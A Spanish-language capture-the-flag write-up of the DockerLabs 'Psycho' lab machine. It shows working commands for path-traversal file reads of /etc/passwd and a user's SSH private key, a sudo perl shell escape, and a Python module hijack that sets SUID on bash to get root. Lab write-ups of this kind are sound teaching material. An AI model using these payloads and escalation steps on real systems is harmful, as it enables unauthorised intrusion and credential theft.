the_open_door
café
ESEN

Psycho

DockerLabsFácilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#lfi#path-traversal#wfuzz#id-rsa#ssh#sudo#perl#gtfobins#python-library-hijack#suid#bash-p
TL;DR. Psycho esconde un parámetro secret en index.php que permite leer ficheros locales. En lugar de pelear con /etc/passwd, se usa para robar la clave privada SSH de vaxei y entrar sin contraseña. Desde ahí, un doble salto por sudo: vaxei ejecuta perl como luisillo (GTFOBins), y luisillo ejecuta sudo python3 /opt/paw.py, un script que hace import subprocess. Dejando un subprocess.py propio en el directorio de trabajo se aplica un secuestro de la librería, que corre como root y pone el bit SUID a bash (bash -p).

Reconocimiento

Escaneo inicial

El escaneo de puertos completo (-p-) descubre dos servicios: SSH y un servidor web Apache.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>

nmap -p- sobre 172.17.0.2 solo encuentra 22/ssh y 80/http, ambos con ttl 64

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

extractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Psycho: IP 172.17.0.2 y puertos abiertos 22,80, copiados al portapapeles

Extracting information ...
IP Address: 172.17.0.2
Open ports: 22,80

Ports copied to clipboard

Sobre esos dos puertos, un -sCV detalla versiones: OpenSSH 9.6p1 y Apache 2.4.58 en Ubuntu:

nmap -p22,80 -sCV <ip> -oN targeted

nmap -sCV: OpenSSH 9.6p1 Ubuntu y Apache httpd 2.4.58, título de la web "4You"

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 4You
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

whatweb sobre el puerto 80 confirma el stack (Apache 2.4.58 sobre Ubuntu, Bootstrap, título 4You) pero no revela nada explotable de entrada:

whatweb http://<ip>

whatweb: 200 OK, Apache 2.4.58 Ubuntu, Bootstrap, HTML5, título 4You

Wappalyzer, ya en el navegador, añade lo que el whatweb no distingue: la versión de Bootstrap, el Popper que la acompaña y el CDN desde el que se cargan.

la portada 4You con el título By TLuisillo_o y Wappalyzer detectando Apache 2.4.58, Ubuntu, Bootstrap 5.3.0, Popper 2.11.6 y jsDelivr

Web servers: Apache HTTP Server 2.4.58
Operating systems: Ubuntu
UI frameworks: Bootstrap 5.3.0
Miscellaneous: Popper 2.11.6
CDN: jsDelivr

Que las librerías vengan de jsDelivr y no de una carpeta local es un dato útil por descarte: no hay un /vendor propio que enumerar, todo lo de cliente es de terceros. La portada solo tiene dos enlaces (Join Now y Book Your Visit) y una firma, By TLuisillo_o, que resultará ser el nombre de un usuario.

http://172.17.0.2 [200 OK] Apache[2.4.58], Bootstrap, HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[4You]

Fuzzing de directorios y de parámetros

gobuster recorre el sitio y solo saca /index.php y un /assets/ sin contenido aprovechable (el resto son 403):

gobuster dir -u http://<ip> -w directory-list-2.3-medium.txt -t 200 -x php,txt,xml,bak,py,html,js

gobuster solo devuelve /index.php (200) y /assets (301), el resto 403

/assets    (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
/index.php (Status: 200) [Size: 2596]
/server-status (Status: 403) [Size: 275]

dirsearch confirma lo mismo, solo /assets/:

dirsearch -u http://<ip> --exclude-status=404,403

dirsearch solo encuentra /assets

[20:17:50] 301 -  309B - /assets  ->  http://172.17.0.2/assets/
[20:17:50] 200 -  458B - /assets/

Revisando la web a mano, es una landing de un gimnasio ("4You", By TLuisillo_o) con solo dos enlaces, Join Now y Book Your Visit, y ninguno lleva a ninguna parte:

la web 4You con los dos únicos enlaces, Join Now y Book Your Visit, resaltados

Cuando la enumeración de rutas se agota, el siguiente paso es buscar parámetros GET ocultos que puedan leer recursos locales. Se fuzzea el nombre del parámetro apuntando a /etc/passwd y se filtra por el número de líneas de la respuesta base (--hl 62) para que solo destaque el acierto:

wfuzz -u "http://<ip>/index.php?FUZZ=../../../../../../../../etc/passwd" \
  -w directory-list-2.3-medium.txt --hl=62 -t 100

wfuzz destaca el payload "secret" con 88 líneas, distinto de la respuesta base

Target: http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 220560

ID           Response   Lines    Word     Chars      Payload
000005156:   200        88 L     199 W    3870 Ch    "secret"

Total time: 238.4282
Processed Requests: 220560
Filtered Requests: 220559

De 220560 peticiones el filtro --hl=62 descarta 220559: una sola sobrevive, la del parámetro secret, porque devuelve 88 líneas en vez de las 62 de la página normal. Esas 26 líneas de más son el /etc/passwd que se ha colado en la respuesta. El parámetro válido es secret.

Acceso: LFI a clave privada SSH

Confirmar la lectura de ficheros

Con el parámetro identificado, se confirma el Local File Inclusion leyendo /etc/passwd. La página envuelve la salida en HTML, así que se recorta desde el cierre </html> y se filtran las cuentas con shell interactiva para quedarnos solo con los usuarios reales:

curl -s "http://<ip>/index.php?secret=../../../../../../../../etc/passwd" \
  | grep -A 100 '</html>' | tail -n +3 | grep -E '/bin/(bash|sh)'

El LFI por el parámetro secret vuelca /etc/passwd: root, ubuntu, vaxei y luisillo

root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vaxei:x:1001:1001:,,,:/home/vaxei:/bin/bash
luisillo:x:1002:1002::/home/luisillo:/bin/sh

De usuarios a shell

Con los usuarios ubuntu, vaxei y luisillo hay dos caminos: fuerza bruta al SSH con hydra, o intentar leer directamente sus claves privadas por el mismo LFI. La segunda es más limpia, así que se prueba a leer la id_rsa de cada uno (incluida la de root):

curl -s "http://<ip>/index.php?secret=../../../../../../../../home/ubuntu/.ssh/id_rsa" | grep -A 100 '</html>' | tail -n +3
curl -s "http://<ip>/index.php?secret=../../../../../../../../home/vaxei/.ssh/id_rsa"  | grep -A 100 '</html>' | tail -n +3
curl -s "http://<ip>/index.php?secret=../../../../../../../../root/.ssh/id_rsa"         | grep -A 100 '</html>' | tail -n +3

Los intentos de ubuntu y root vuelven vacíos, pero la de vaxei existe y se lee entera:

de los tres intentos de id_rsa (ubuntu, vaxei, root) por LFI, solo el de vaxei devuelve una clave privada OpenSSH completa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbNzaC1rZXktdjEAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
1w8tlJUw1y+rXTAAAAEnZheGVpQDIzMWRlMDI2NmZmZA==
-----END OPENSSH PRIVATE KEY-----

Se guarda, se le dan permisos 600 y se entra por SSH sin contraseña:

chmod 600 id_rsa
ssh -i id_rsa vaxei@<ip>

Se lee la id_rsa de vaxei por LFI, se le da chmod 600 y el login SSH entra como vaxei (uid=1001)

Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.10.11-amd64 x86_64)
...
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxei@f82079c19a40:~$ echo "SO: $(uname)" && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) ...
SO: Linux
Kernel Version: 6.10.11-amd64
User: vaxei
Machine Name: f82079c19a40
IP:  172.17.0.2
Information User: uid=1001(vaxei) gid=1001(vaxei) groups=1001(vaxei),100(users)

El chmod 600 no es un adorno: OpenSSH se niega a usar una clave privada legible por otros usuarios, así que sin ese paso el login falla aunque la clave sea correcta.

Escalada de privilegios

vaxei → luisillo (sudo perl)

vaxei puede ejecutar perl como el usuario luisillo sin contraseña:

sudo -l

sudo -l de vaxei muestra (luisillo) NOPASSWD /usr/bin/perl; tras el exec el prompt pasa a luisillo y su sudo -l revela python3 /opt/paw.py

User vaxei may run the following commands on f82079c19a40:
    (luisillo) NOPASSWD: /usr/bin/perl

perl está en GTFOBins: su -e ejecuta código arbitrario, y desde ahí un exec lanza una shell como el usuario objetivo. Se estabiliza con script:

sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
script /dev/null -c bash

Tras el exec de perl y estabilizar con script, el prompt cambia a luisillo

$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
luisillo@f82079c19a40:/home/vaxei$

El exec de perl deja una sh sin prompt ni control de trabajos; el script /dev/null -c bash la convierte en una sesión con terminal real, que es lo que hace usable el siguiente paso.

luisillo → root (secuestro de librería en un script sudo)

luisillo puede ejecutar un script Python concreto como root:

sudo -l

sudo -l como luisillo: (ALL) NOPASSWD /usr/bin/python3 /opt/paw.py, con use_pty entre los Defaults

Matching Defaults entries for luisillo on f82079c19a40:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luisillo may run the following commands on f82079c19a40:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py

Merece la pena mirar los Defaults de esa salida: el secure_path fija el PATH con el que arranca el comando, así que la ruta al intérprete no se puede secuestrar. Lo que no toca es el sys.path de Python, que es por donde entrará el ataque.

El script, además de mucho ruido de relleno, empieza con import subprocess:

cat /opt/paw.py

cat /opt/paw.py: import subprocess al inicio, funciones de relleno y run_command llamando a subprocess.run con un echo Hello

import subprocess
import os
import sys
import time
...
def run_command():
    subprocess.run(['echo Hello!'], check=True)

if __name__ == "__main__":
    main()

Ahí está la debilidad. Cuando Python resuelve import subprocess, busca el módulo en el orden de su ruta de búsqueda, y el directorio de trabajo se consulta antes que la librería estándar. Si dejamos un fichero subprocess.py propio en el directorio desde el que se lanza el script, Python cargará nuestro módulo en lugar del real. Es un secuestro de librería: el código que metamos ahí se ejecuta con los privilegios del script, es decir, como root. Le ponemos el bit SUID a bash:

cd /opt
echo -e 'import os;\nos.system("chmod u+s /bin/bash")' > subprocess.py
cat subprocess.py

en /opt se crea subprocess.py con os.system("chmod u+s /bin/bash") y se comprueba con cat

import os;
os.system("chmod u+s /bin/bash")

/opt (donde vive paw.py) es escribible por luisillo, así que dejamos ahí el subprocess.py. Al ejecutar el script por sudo, se importa nuestro módulo y chmod u+s /bin/bash corre como root:

sudo /usr/bin/python3 /opt/paw.py
ls -l /bin/bash

Al lanzar paw.py por sudo se importa el subprocess.py propio; ls -l muestra /bin/bash con bit SUID y bash -p da whoami root

-rwsr-xr-x 1 root root ... /bin/bash

bash -p

Con /bin/bash marcado SUID, bash -p mantiene el EUID de root:

bash -p
whoami
root

Cadena de ataque

HTTP  ->  wfuzz  ->  parametro oculto "secret"  ->  LFI
    └─> lee /home/vaxei/.ssh/id_rsa  ->  SSH como vaxei
            └─> sudo perl (GTFOBins)  ->  luisillo
                    └─> sudo python3 /opt/paw.py + subprocess.py propio (library hijack)  ->  root
                            └─> chmod u+s /bin/bash  ->  bash -p  ->  root

Lecciones aprendidas

  • Un LFI no solo lee /etc/passwd. Su valor real es leer claves privadas, ficheros de configuración con credenciales o el código fuente de la propia aplicación; la lista de usuarios solo dirige el siguiente paso.
  • Fuzzear parámetros cuando las rutas se agotan. Muchos LFI viven en un parámetro que ninguna lista de directorios descubre; buscar el nombre del parámetro con wfuzz es la pieza que faltaba.
  • import es una superficie de ataque. Un script privilegiado que importa un módulo desde un directorio escribible por el atacante es RCE: Python resuelve el nombre por ruta de búsqueda, no por confianza.
  • Concede binarios sudo con lupa. perl y un script Python arbitrario son shells encubiertas; cada entrada de sudoers debería justificar por qué no es una escalada.
Cheatsheet de comandos 13 comandos

Repaso rápido